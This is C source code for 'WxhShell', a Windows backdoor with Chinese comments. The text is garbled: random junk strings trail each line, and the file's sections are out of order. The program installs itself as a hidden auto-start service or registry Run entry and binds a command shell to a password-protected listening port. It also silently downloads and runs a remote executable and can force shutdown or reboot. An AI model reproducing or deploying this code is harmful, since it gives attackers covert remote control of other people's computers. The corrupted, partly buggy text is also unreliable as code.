    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lb*KEF%s  
    if(Boot(SHUTDOWN)) ^ Ltho`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -yqsJGY  
    else { >I5:@6 Z  
    closesocket(wsh); B9v>="F  
    ExitThread(0); T1LYJ]5  
    } dC11kq qj  
    break; 7Cgi&  
    } aZfMeW  
  // 获取shell u v%Q5O4  
  case 's': { bJ^JK  
    CmdShell(wsh); >lI7]hbIs  
    closesocket(wsh); {SoI;o_>  
    ExitThread(0); v4$/LUJZp  
    break; 5]xuU.w'  
  } )uPJ? 2S9  
  // 退出 S-Uod y  
  case 'x': { @"@a70WHk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 20:F$d  
    CloseIt(wsh); Lvk}%,S8t  
    break; *$f=`sj  
    } D3pz69W  
  // 离开 kfy!T rf  
  case 'q': { 6Q.S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z;0~f<e%  
    closesocket(wsh); X{9^$/XsJ  
    WSACleanup(); q z)2a2C  
    exit(1); ] V D  
    break; +v~x gUs  
        } i"{O~[  
  } e#Tv5O  
  } +pofN-*%  
>{#JIG.  
  // 提示信息 %#6@PQ[R.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fF Q|dE;cF  
} NOb`)qb  
  } "oP^2|${  
z;OYPGvkw  
  return;  Rr) 5 [  
} B2`S0 H  
VPLf(  
// shell模块句柄 @]\fO)\f  
int CmdShell(SOCKET sock) '&>"`q  
{ X.]I4O&_  
STARTUPINFO si; H]TdW;ZbZ  
ZeroMemory(&si,sizeof(si)); /l$x}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BK$y>= `  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'Zx5+rM${}  
PROCESS_INFORMATION ProcessInfo; _e%D/}  
char cmdline[]="cmd"; UwN Vvo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `L1,JE` q  
  return 0; P_bB{~$4  
} z8kO)'  
3%WB?k c  
// 自身启动模式 ]5%0EE64  
int StartFromService(void) 3JazQU  
{ #3uv^m LGa  
typedef struct (vXr2Z<l  
{ %? ~'A59  
  DWORD ExitStatus; &@=Jm /5  
  DWORD PebBaseAddress; QM$UxWo-  
  DWORD AffinityMask; ZOK!SBn^?  
  DWORD BasePriority; PyeNu3Il4  
  ULONG UniqueProcessId; 6opin  
  ULONG InheritedFromUniqueProcessId; D9rQ%|}S  
}   PROCESS_BASIC_INFORMATION; 6BE,L  
ep>!jMhJa  
PROCNTQSIP NtQueryInformationProcess; wj[yo S  
_]:b@gXUw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _nGx[1G( 5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qGk+4 yC  
#2Rz=QI  
  HANDLE             hProcess; bM W|:rn  
  PROCESS_BASIC_INFORMATION pbi; F.s$Y+c!6  
2.qPMqH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H MOIUd  
  if(NULL == hInst ) return 0; yOM/UdWq  
[8V;Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~ |G&cg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lg%fjBY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Vaxg   
!-I,Dh-A  
  if (!NtQueryInformationProcess) return 0; 4.A^5J'W  
q^X7x_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w,|@e_|J  
  if(!hProcess) return 0; ns[/M~_r  
5eAZfe%H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UmKE]1Yw4r  
I}$`gUXX8x  
  CloseHandle(hProcess); '|yxB')  
Bk8}K=%w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <JPN< Kv  
if(hProcess==NULL) return 0; cXweg;  
,05PYBc3  
HMODULE hMod; y<`5  
char procName[255]; LKN7L kl  
unsigned long cbNeeded; @2(u=E:^  
)"x6V""Rb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c~|(j \FI  
8t+eu O  
  CloseHandle(hProcess); ;`AB-  
U32$ 9"  
if(strstr(procName,"services")) return 1; // 以服务启动 7H H  
~E}kwF  
  return 0; // 注册表启动 %0\@\fC41  
} Sv=YI  
bW yimr&B  
// 主模块 FvT&nb{  
int StartWxhshell(LPSTR lpCmdLine) (Tx_`rO4VY  
{ 0aT:Gy;  
  SOCKET wsl; m:BzIcW<\  
BOOL val=TRUE; ]2zM~  
  int port=0; Jv~R/qaaD  
  struct sockaddr_in door; +%5L2/n7  
<H64L*,5'7  
  if(wscfg.ws_autoins) Install(); :8S;34Y;  
74e=zW?  
port=atoi(lpCmdLine); 0nc(2Bi  
hB [bth  
if(port<=0) port=wscfg.ws_port; vNi;)"&*  
^}  {r@F  
  WSADATA data; *F$@!ByV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )x-b+SC  
s,R:D).  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T CT8OU|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 74^v('-2  
  door.sin_family = AF_INET; Iv6 lE:)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FDo PW~+[  
  door.sin_port = htons(port); txEN7!  
b'4a;k!rS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @&T' h}|:  
closesocket(wsl); {7y;s  
return 1; lpi"@3  
} _hnsH I!oD  
#H$lBC WI  
  if(listen(wsl,2) == INVALID_SOCKET) { ~EtGR # N  
closesocket(wsl); v^A+LZ*d  
return 1; QQ?t^ptv  
} z+Xr2B  
  Wxhshell(wsl); fY]"_P  
  WSACleanup(); k(H&Af+  
AKk=XAGW  
return 0; b'wy{~l@  
. 0dGS  
} Bzz|2/1y  
e'b*_Ps'  
// 以NT服务方式启动 lxd{T3LU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z ]f(lwo{  
{ |E~c#lV  
DWORD   status = 0; mG)5xD  
  DWORD   specificError = 0xfffffff; t?hfP2&6  
x'EEmjJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Jm!,=} oP'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 08\w!!a:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c b-IRGF  
  serviceStatus.dwWin32ExitCode     = 0; !mv5i%3  
  serviceStatus.dwServiceSpecificExitCode = 0; QN*|_H@h  
  serviceStatus.dwCheckPoint       = 0; '2X$. ^aW  
  serviceStatus.dwWaitHint       = 0; ^%!{qAp}Z  
[%k8l~ 6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); si&du  
  if (hServiceStatusHandle==0) return; H*]Vs=1  
5V 2ZAYV  
status = GetLastError(); T]wC?gQG  
  if (status!=NO_ERROR) 'VV U-)(8  
{ 9!Av sC9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _l{~O  
    serviceStatus.dwCheckPoint       = 0; |GMo"[  
    serviceStatus.dwWaitHint       = 0; G=y~)B}  
    serviceStatus.dwWin32ExitCode     = status; }NDl~5  
    serviceStatus.dwServiceSpecificExitCode = specificError; GVhqNy   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KHx2$*E_  
    return; cs6oD!h  
  } ti61&)(  
vom3 C9o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #ss/mvc3  
  serviceStatus.dwCheckPoint       = 0; )4rt-_t<  
  serviceStatus.dwWaitHint       = 0; GZO:lDdA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :E}y Pcw  
} F'MX9P  
4prJ!k  
// 处理NT服务事件,比如:启动、停止 iw#~xel<ez  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !h1:AW_iz  
{ Bq$IBAot  
switch(fdwControl) f?d5Ltg   
{ =]%,&Se  
case SERVICE_CONTROL_STOP: /KvJjt'8  
  serviceStatus.dwWin32ExitCode = 0; lEl.'X$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |ufL s  
  serviceStatus.dwCheckPoint   = 0; brp3xgQ`]  
  serviceStatus.dwWaitHint     = 0; DpggZ|J  
  { 0 s+X:*C~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RP$u/x"b  
  } '( I0VJJ   
  return; ZK;/~9KU  
case SERVICE_CONTROL_PAUSE: 4T3Z9KD!8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; % PzkVs  
  break; (:8a6=xQ  
case SERVICE_CONTROL_CONTINUE: '$Z)2fn7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N.mRay,  
  break; 0{vT`e'  
case SERVICE_CONTROL_INTERROGATE: +a39 !j 1_  
  break; gcnX^[`S  
}; * WV=Xp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /"J 6``MV  
} NCh-BinK@  
;8oe-xS\+  
// 标准应用程序主函数 X$KTsG*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %|JiFDjp  
{ W,EIBgR(R5  
*rTg>)  
// 获取操作系统版本 &|Wqzdo?#  
OsIsNt=GetOsVer(); 7j)ky2r#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GXxI=,L8F  
~~Bks{"BS  
  // 从命令行安装 cFc(HADM`r  
  if(strpbrk(lpCmdLine,"iI")) Install(); (rFiHv5  
6 D Xja_lp  
  // 下载执行文件 S'5)K  
if(wscfg.ws_downexe) { /e"iY F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WzstO}?P(  
  WinExec(wscfg.ws_filenam,SW_HIDE); inh:b .,B  
} ^mn!;nu  
0GxJja  
if(!OsIsNt) { ;N#}3lpLqg  
// 如果时win9x,隐藏进程并且设置为注册表启动 g"748LY>=p  
HideProc(); |\dv$`_T  
StartWxhshell(lpCmdLine); -$"$r ~ad  
} 7;|"1H:cmw  
else keC'/\e  
  if(StartFromService()) YzjRD:  
  // 以服务方式启动 c#TY3Z|  
  StartServiceCtrlDispatcher(DispatchTable); PS" rXaY  
else |kK5:\H  
  // 普通方式启动 mt+i0PIfj  
  StartWxhshell(lpCmdLine); e_e\Ie/pDc  
.;g kV-]  
return 0; {ol7*%u  
} 5IUdA?  
:+6W%B  
2$Xof  
|l8=z*v<  
=========================================== (mp  
oc)`hg2=  
1N(#4mE=  
hYpxkco"4'  
QOEi.b8r  
`bBkPH}M  
" zYV{ |Z  
61Cc? a*_  
#include <stdio.h> /i8OyRpSyk  
#include <string.h> C IMI?  
#include <windows.h> ~588M 8~  
#include <winsock2.h> P!Fy kg  
#include <winsvc.h> VxDIA_@y  
#include <urlmon.h> Pw<'rN8''  
C]2-V1,ZX  
#pragma comment (lib, "Ws2_32.lib") AuK$KGCI=  
#pragma comment (lib, "urlmon.lib") )1!<<;@0  
lS9S7`  
#define MAX_USER   100 // 最大客户端连接数 @=l6zd@  
#define BUF_SOCK   200 // sock buffer ~(v5p"]dj  
#define KEY_BUFF   255 // 输入 buffer a%.W9=h=M(  
0e<>2AL   
#define REBOOT     0   // 重启 %d];h  
#define SHUTDOWN   1   // 关机 ~2\Sn-`  
8<"g&+T  
#define DEF_PORT   5000 // 监听端口 ZeuL*c \  
-_nQn  
#define REG_LEN     16   // 注册表键长度 VIdKe&,  
#define SVC_LEN     80   // NT服务名长度 msgR"T3'  
o3hgkoF   
// 从dll定义API _!1LV[x!s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F}{%*EJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QP.Lq }  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -9FGFBm4]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ld ]*J}cw  
:0:Tl/))  
// wxhshell配置信息 ?'0!>EjY"  
struct WSCFG { xjr4')h  
  int ws_port;         // 监听端口 T`wDdqWbEG  
  char ws_passstr[REG_LEN]; // 口令 QNOdt2NN  
  int ws_autoins;       // 安装标记, 1=yes 0=no vY_[@y  
  char ws_regname[REG_LEN]; // 注册表键名 `2]0 X#R  
  char ws_svcname[REG_LEN]; // 服务名 pk9Ics;y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KGM__ZO.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N<i5X.X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hc'Pp{| X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @U8u6JNK'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JWd[zJ[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mq[=,,#  
0Q a 0  
}; Y]L4,V  
Lq5xp<  
// default Wxhshell configuration 60^j<O  
struct WSCFG wscfg={DEF_PORT, >\[]z^J  
    "xuhuanlingzhe", OiQf=Uz\  
    1, : wS&3:h  
    "Wxhshell", NH|I>vyN  
    "Wxhshell", _ cQ '3@  
            "WxhShell Service", is8i_FoD,n  
    "Wrsky Windows CmdShell Service", `{:Nt#7  
    "Please Input Your Password: ", Ht;Rz*}  
  1, GIzB1cl:  
  "http://www.wrsky.com/wxhshell.exe", Op-z"inw  
  "Wxhshell.exe" )9"^ D  
    }; ^'E^*R  
6}-No  
// 消息定义模块 W"Y)a|rG%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y@7fR9hp<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +Mq\3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A]!0Z:{h%  
char *msg_ws_ext="\n\rExit."; 9oJM?&i  
char *msg_ws_end="\n\rQuit."; <b H *f w  
char *msg_ws_boot="\n\rReboot..."; nC p/.]Y*  
char *msg_ws_poff="\n\rShutdown..."; k!x|oC0  
char *msg_ws_down="\n\rSave to "; =KHb0d |.  
@CzFzVmF"  
char *msg_ws_err="\n\rErr!"; ]S4"JcM  
char *msg_ws_ok="\n\rOK!"; I :<,9.   
N_K9H1 r  
char ExeFile[MAX_PATH]; uQvTir*e  
int nUser = 0; .4\I?  
HANDLE handles[MAX_USER]; Y M:9m)  
int OsIsNt; 9k ~8n9  
'r7[9[  
SERVICE_STATUS       serviceStatus; :@i+yN cV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~'%d]s+q  
LH(P<k&  
// 函数声明 l%2VA  
int Install(void); Kj4BVs  
int Uninstall(void); cxs@ph&Wk  
int DownloadFile(char *sURL, SOCKET wsh); $B-/>Rz  
int Boot(int flag); %TQ4 ZFD3  
void HideProc(void); |p[Mp:^^  
int GetOsVer(void); &Tt7VYJfIV  
int Wxhshell(SOCKET wsl); -+@N/d5  
void TalkWithClient(void *cs); n#x_da-m]  
int CmdShell(SOCKET sock); g7]S  
int StartFromService(void); pYQSn.`V~  
int StartWxhshell(LPSTR lpCmdLine); #aL.E(%  
pRV.\*:c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P^<3 Z)L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3%'`^<-V  
VQpt1cK*  
// 数据结构和表定义 w>j5oz}  
SERVICE_TABLE_ENTRY DispatchTable[] = }d}gb`Du  
{ QD,m`7(  
{wscfg.ws_svcname, NTServiceMain}, k_]'?f7Z  
{NULL, NULL} =h4u N,  
}; IW!x!~e  
"<0!S~]  
// 自我安装 +h"i6`g  
int Install(void) "qq$i35x  
{ !6-t_S  
  char svExeFile[MAX_PATH]; &D M3/^70  
  HKEY key; +:@^nPfHy  
  strcpy(svExeFile,ExeFile); I%r7L  
$/"Ymm#"\Y  
// 如果是win9x系统,修改注册表设为自启动 @`KbzN_h/  
if(!OsIsNt) { =hTJp/L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  #B~ ;j5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5%2~/ "  
  RegCloseKey(key); 'S6zkwC]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EM@|^47$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0bh 6ay4  
  RegCloseKey(key); r5s{t4 ;Ch  
  return 0; LmJjO:W}^y  
    } ~$6` e:n  
  } 3iw3:1RZUZ  
} d~QKZ&jf  
else { acS~%^"<_  
sC\?{B0 r  
// 如果是NT以上系统,安装为系统服务 tZ[9qms^_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d [l8qaD  
if (schSCManager!=0) B bmw[Qf\  
{ @@\qso  
  SC_HANDLE schService = CreateService DL V ny]  
  ( ppIXS(  
  schSCManager, 9ad)=3A&L  
  wscfg.ws_svcname, 1oO(;--u_  
  wscfg.ws_svcdisp, ;U4O` pZ  
  SERVICE_ALL_ACCESS, uxxk&+M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [,Rc&7p~R  
  SERVICE_AUTO_START, 1sg:8AA  
  SERVICE_ERROR_NORMAL, cZN<}n+q  
  svExeFile, h!dij^bD  
  NULL, 17'd~-lE  
  NULL, ~s&r.6 DW  
  NULL, S Yi!%  
  NULL, X$;x2mz nM  
  NULL ]Y]]X[@  
  ); !QVhP+l'H  
  if (schService!=0) ).jQ+XE'>  
  { !:\0}w$-  
  CloseServiceHandle(schService); 4Mg%}/cC  
  CloseServiceHandle(schSCManager); $)*qoV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); spP[S"gI  
  strcat(svExeFile,wscfg.ws_svcname); | t:UpP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uSXnf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RDSC@3%  
  RegCloseKey(key); l7T?Yx j  
  return 0; SVVEb6&  
    } ?wkT=mv  
  } G!VEV3zT  
  CloseServiceHandle(schSCManager); &V axv$v}  
} !j7mY9x+  
} AB%i|t  
" l|`LjP5M  
return 1; [H\0 '  
} \1<aBgK i  
cPZ\iGy  
// 自我卸载 F6 ~ ;f;  
int Uninstall(void) /D9#v1b  
{ _}47U7s8  
  HKEY key; jl}9R]Y_2  
|(tl a_LE  
if(!OsIsNt) { =C$"e4%Be  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {w3<dfJ  
  RegDeleteValue(key,wscfg.ws_regname); J;XO1}9  
  RegCloseKey(key); `&x>2FJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L:_{bE|TY  
  RegDeleteValue(key,wscfg.ws_regname); yqx!{8=V  
  RegCloseKey(key); en|~`]HF  
  return 0; ~ 1TT?H  
  } V(K;Gc  
} umuj>  
} 9+*{3 t  
else { Heqr1btK  
PSAEW.L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .I|b9$V  
if (schSCManager!=0) vO?sHh  
{ Zt41fPQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /kr|}`# Z  
  if (schService!=0) Z/ml ,4e  
  { u)EtEl7Wq  
  if(DeleteService(schService)!=0) { jHT^I as  
  CloseServiceHandle(schService); _t]Q*i0p  
  CloseServiceHandle(schSCManager); z{BgAI,  
  return 0; GNHXtu6  
  } v" #8^q  
  CloseServiceHandle(schService); Edc3YSg%;  
  } 7?g({]  
  CloseServiceHandle(schSCManager);  IN6L2/Q  
} eI`%J3BxR  
} (5`(H.(  
A]QGaWK  
return 1; D dwFKc&  
} *>aVU'  
@ukL! AV?Y  
// 从指定url下载文件 ~)pZ5%C  
int DownloadFile(char *sURL, SOCKET wsh) o:UNSr  
{ )RFY2 }  
  HRESULT hr; '_DB0_Dp  
char seps[]= "/"; GZ5DI+3  
char *token; 4VF]t X?o  
char *file; ci? \W6  
char myURL[MAX_PATH]; Z! /_H($  
char myFILE[MAX_PATH]; Yt_tAm  
6&i])iH  
strcpy(myURL,sURL); 7^.g\Kt?  
  token=strtok(myURL,seps); =v|$dDz  
  while(token!=NULL) +5O^{Ce6  
  { $pPc}M[h  
    file=token; 6C"${}S F`  
  token=strtok(NULL,seps); jN= !Q&^i[  
  } {LKW%G7  
?Nt m5(R  
GetCurrentDirectory(MAX_PATH,myFILE); Su@V5yz  
strcat(myFILE, "\\"); 3&[d.,/  
strcat(myFILE, file); _W Hi<,-  
  send(wsh,myFILE,strlen(myFILE),0); +Y+fM  
send(wsh,"...",3,0); 0%rE*h9+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wmbG$T%k  
  if(hr==S_OK) Mf5*Wjz.Mc  
return 0; 4Af7x6a;  
else DcRoW  
return 1; b~ig$!N]  
@QpL*F  
}  S{XO3  
|'}r-}  
// 系统电源模块 V@G|2ZI  
int Boot(int flag) UaXIrBc  
{ ZZ}HgPZ  
  HANDLE hToken; =mwAbh)[7n  
  TOKEN_PRIVILEGES tkp; dZkKAK:v  
1'&HmBfcb  
  if(OsIsNt) { B&!>& Rbx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~r})&`5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y9i+EV  
    tkp.PrivilegeCount = 1; X+\=dhn69  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `} 'o2oZnG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %dd B$(  
if(flag==REBOOT) { 1,P2}mYv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UBnHtsM  
  return 0; \,nhGh  
} xOxyz6B\  
else { +:C.G[+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qdc#v\B  
  return 0; h|z59h&X8G  
} 2xy{g&G  
  } G!F_Q7|-  
  else { Z_jV0[\v0P  
if(flag==REBOOT) { CC`#2j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?56;<%0  
  return 0; @&E7Pg5  
} F&+_z&n)  
else { 0x,4H30t(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }lx'NY~(W  
  return 0; }vF=XA  
} Rh@UxNy\,  
} 8"wavh|g4  
ll"6K I'X  
return 1; o(i?_4 E  
} 4kNSF  
^!(tc=sr  
// win9x进程隐藏模块 Q;z'"P   
void HideProc(void) >O1u![9K|w  
{ ,I f9w$(z  
W\ARCcTQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ))6iVgSE$  
  if ( hKernel != NULL ) kQ6YQsJ.*  
  { !*k'3r KOW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `LTD|0;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2F,?}jJ.K  
    FreeLibrary(hKernel); unN*L  
  } riglEA[^  
FePWr7Ze  
return; RDqQ6(e"  
} :WSszak  
OOz;/kay  
// 获取操作系统版本 y<8o!=Tb5  
int GetOsVer(void) @A%\;o o  
{ / Kj;%  
  OSVERSIONINFO winfo; 2+\@0j[q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?+{qmqN  
  GetVersionEx(&winfo); 2 :^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f5CnJhE|)  
  return 1; <oTNo>U/k  
  else \T`iq[+6  
  return 0; bXWodOSN  
} 3)dtl!VMW[  
=fK F#^E@  
// 客户端句柄模块 LgSVEQb6\|  
int Wxhshell(SOCKET wsl) <qxqlEQT  
{ s(Fxi|v;  
  SOCKET wsh; XXW.Uios  
  struct sockaddr_in client; 1 u~.^O}J  
  DWORD myID; {*qz<U >  
HqA~q  
  while(nUser<MAX_USER) ?trqe/  
{ 2C &l\16  
  int nSize=sizeof(client); o2riy'~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aD?ySc}  
  if(wsh==INVALID_SOCKET) return 1; 5[$Tpn#K7  
XV<{tqa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); } qr ,  
if(handles[nUser]==0) IqjH  
  closesocket(wsh); G]>P!]  
else Jy#2 1  
  nUser++; NK(; -~{P  
  } YjeHNPf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PKNpR  
ddeH-Z  
  return 0; >Q# !.lH$W  
} hjoxx F\_  
0p \,}t\E  
// 关闭 socket wArtg'=X  
void CloseIt(SOCKET wsh) [/eRc  
{ 'miY"L:| O  
closesocket(wsh); |Z{ DU(?[b  
nUser--; q;qY#wD@  
ExitThread(0); EAnw:yUV(  
} n@| &jh  
D5fhOq+g  
// 客户端请求句柄 i<uk}  
void TalkWithClient(void *cs) P*8DM3':  
{ )@.6u9\  
UYOR@x #  
  SOCKET wsh=(SOCKET)cs; lJXihr  
  char pwd[SVC_LEN]; ,OaPrAt-  
  char cmd[KEY_BUFF]; h*zHmkFR  
char chr[1]; JdA3O{mT)  
int i,j; e^Lt{/  
`n`aA)|<  
  while (nUser < MAX_USER) { ef(OhIX  
7TGLt z  
if(wscfg.ws_passstr) { ^U@E rc#d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;1woTAuD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6 g`Y~ii  
  //ZeroMemory(pwd,KEY_BUFF); wfF0+T+IA  
      i=0; YumHECej  
  while(i<SVC_LEN) { x4bj?=+  
b!-F!Lq/+0  
  // 设置超时 5"&{Egc_  
  fd_set FdRead; ;K<W<v5m0N  
  struct timeval TimeOut; N2S7=`5/T  
  FD_ZERO(&FdRead); roG f &  
  FD_SET(wsh,&FdRead); xs3t~o3y  
  TimeOut.tv_sec=8; ZzV%+n7<Vx  
  TimeOut.tv_usec=0; :f58JLX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M%Dv-D{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qHQ#^jH  
= ^A/&[&31  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JRl`evTS  
  pwd=chr[0]; lCMU{)  
  if(chr[0]==0xd || chr[0]==0xa) { q`DilZ]S  
  pwd=0; h$y0>eMWs  
  break; s+yX82Y  
  }  } h0 )  
  i++; Qh. : N  
    } a6fqtkZ x  
00)=3@D  
  // 如果是非法用户,关闭 socket jZvQMW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8g CQ0w<  
} /5c;,.hm1R  
]f"l4ay@M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x_TtS|   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,k5b,}tN  
G_UxR9Qo  
while(1) { %4rPkPAtrp  
8 m T..23  
  ZeroMemory(cmd,KEY_BUFF); }28,fb /  
ROB/#Td  
      // 自动支持客户端 telnet标准   4chSo.= 4V  
  j=0; KD5}Nk)t  
  while(j<KEY_BUFF) { R@)L@M)u;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vr=c06a2  
  cmd[j]=chr[0]; U[ $A=e?\Y  
  if(chr[0]==0xa || chr[0]==0xd) { N [iv.B  
  cmd[j]=0; ,5L[M&5  
  break; $5)ZaYx<  
  } HC*V\vz  
  j++; d,9YrwbD  
    } )cX6o[oia  
X3j<HQcK  
  // 下载文件 j3`"9bY  
  if(strstr(cmd,"http://")) { 1"Z61gXrz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gM<*(=x'  
  if(DownloadFile(cmd,wsh)) aZMMcd   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J~[A8o  
  else dkRG4 )~g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :b_R1ZV|  
  } eQUm!9)  
